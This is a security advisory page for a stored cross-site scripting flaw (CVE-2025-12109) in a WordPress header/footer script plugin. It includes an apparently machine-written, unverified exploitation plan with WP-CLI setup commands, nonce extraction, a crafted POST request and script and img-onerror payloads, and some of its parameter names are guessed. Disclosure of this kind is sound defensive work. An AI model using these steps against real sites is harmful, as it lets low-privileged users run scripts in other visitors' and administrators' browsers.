CVE-2025-12109

Header Footer Script Adder – Insert Code in Header, Body & Footer <= 2.0.5 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.0.6
Patched in
1d
Time to patch

Description

The Header Footer Script Adder – Insert Code in Header, Body & Footer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the script adder present in posts in all versions up to, and including, 2.0.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.0.5
PublishedDecember 12, 2025
Last updatedDecember 13, 2025

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-12109 (Stored XSS) ## 1. Vulnerability Summary The **Header Footer Script Adder** plugin (<= 2.0.5) allows users to add custom scripts to the `<head>`, `<body>`, and footer sections of individual posts and pages. The vulnerability is a **Stored Cross-Site Scri…

Show full research plan

Exploitation Research Plan: CVE-2025-12109 (Stored XSS)

1. Vulnerability Summary

The Header Footer Script Adder plugin (<= 2.0.5) allows users to add custom scripts to the <head>, <body>, and footer sections of individual posts and pages. The vulnerability is a Stored Cross-Site Scripting (XSS) issue. It occurs because the plugin fails to sufficiently sanitize the script code provided by users (specifically those with Contributor-level access and above) before storing it in the database and fails to escape it when rendering it on the frontend. While the plugin is designed to add scripts, it does not restrict this capability to users with the unfiltered_html capability, allowing lower-privileged users to inject malicious JavaScript.

2. Attack Vector Analysis

  • Vulnerable Endpoint: WordPress Post/Page Editor (Admin UI) or the save_post hook handler.
  • Vulnerable Parameters: The input fields within the plugin's meta box on the post edit screen (likely named hfsa_header_code, hfsa_body_code, and hfsa_footer_codeinferred).
  • Required Authentication: Contributor-level access or higher.
  • Preconditions: The plugin must be active, and the attacker must be able to edit a post or create a new one.

3. Code Flow (Inferred)

  1. Entry Point: A user with Contributor+ privileges edits a post. The plugin registers a Meta Box using add_meta_boxes which displays textareas for header/footer scripts.
  2. Data Storage: When the post is saved, a function hooked to save_post (e.g., hfsa_save_meta_box_data) retrieves the content of the textareas from the $_POST superglobal.
  3. The Sink (Storage): The code calls update_post_meta($post_id, 'hfsa_header_code', $_POST['hfsa_header_code']) without using wp_kses or similar sanitization.
  4. Rendering: On the frontend, the plugin hooks into wp_head, wp_body_open, and wp_footer.
  5. The Sink (Output): The handler functions (e.g., hfsa_header_script_output) call get_post_meta and echo the result directly to the page without esc_js() or wp_kses().

4. Nonce Acquisition Strategy

To save post meta, the WordPress post editor uses the standard _wpnonce and samplepermalinknonce. However, plugins often include their own nonce inside the meta box for security.

  1. Identify the Variable: Search the post editor's HTML for a hidden input field within the "Header Footer Script Adder" meta box (e.g., name="hfsa_meta_box_nonce"inferred).
  2. Creation: Use WP-CLI to create a dummy post for the Contributor.
    wp post create --post_type=post --post_status=draft --post_author=[CONTRIBUTOR_ID] --post_title="XSS Test"
    
  3. Extraction:
    • Log in as the Contributor.
    • Navigate to the edit page for the newly created post: /wp-admin/post.php?post=[POST_ID]&action=edit.
    • Use browser_eval to extract the nonce:
      // Example for a typical plugin meta box nonce
      document.querySelector('input[name*="hfsa_nonce"]')?.value;
      

5. Exploitation Strategy

The goal is to inject a payload that executes when any user (especially an Administrator) views the affected post.

Step-by-Step:

  1. Authentication: Authenticate as a Contributor user and capture session cookies.

  2. Post Editing: Identify an existing post ID or create a new one.

  3. HTTP Request (The Exploit):
    Send a POST request to /wp-admin/post.php to update the post meta.

    • Method: POST
    • URL: http://[TARGET]/wp-admin/post.php
    • Content-Type: application/x-www-form-urlencoded
    • Body Parameters:
      • action: editpost
      • post_ID: [POST_ID]
      • _wpnonce: [CORE_POST_NONCE]
      • hfsa_header_code: <script>alert("XSS_HEADER")</script> (inferred)
      • hfsa_footer_code: <script>alert("XSS_FOOTER")</script> (inferred)
  4. Trigger: Navigate to the frontend URL of the post.

6. Test Data Setup

  1. Install Plugin: wp plugin install header-and-footer-script-adder --version=2.0.5 --activate
  2. Create User: wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  3. Create Post: wp post create --post_type=post --post_status=publish --post_author=attacker --post_title="Vulnerable Post"

7. Expected Results

  • The POST request should return a 302 redirect back to the post editor.
  • Viewing the post on the frontend should trigger one or more alert boxes showing XSS_HEADER or XSS_FOOTER.
  • The page source should contain the raw <script> tags inside the <head> or before the </body> tag.

8. Verification Steps

  1. Database Check: Use WP-CLI to verify the payload is stored in the meta-table.
    wp post meta list [POST_ID] --keys=hfsa_header_code,hfsa_footer_code
    
  2. Frontend Inspection:
    # Using the http_request tool
    # Check if the payload exists in the response body unescaped
    grep -q '<script>alert("XSS_HEADER")</script>' [RESPONSE_FILE]
    

9. Alternative Approaches

  • Body Insertion: If the plugin uses the wp_body_open hook, test if the payload executes immediately after the opening <body> tag.
  • Bypass unfiltered_html: If the plugin attempts to check for unfiltered_html, verify if the check is implemented correctly on the save_post hook. Often, plugins forget to check capabilities during the AJAX autosave or meta-saving process.
  • Payload Variation: Use an <img> tag with onerror to bypass basic keyword filters if any exist.
    • Payload: <img src=x onerror=alert(document.domain)>

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.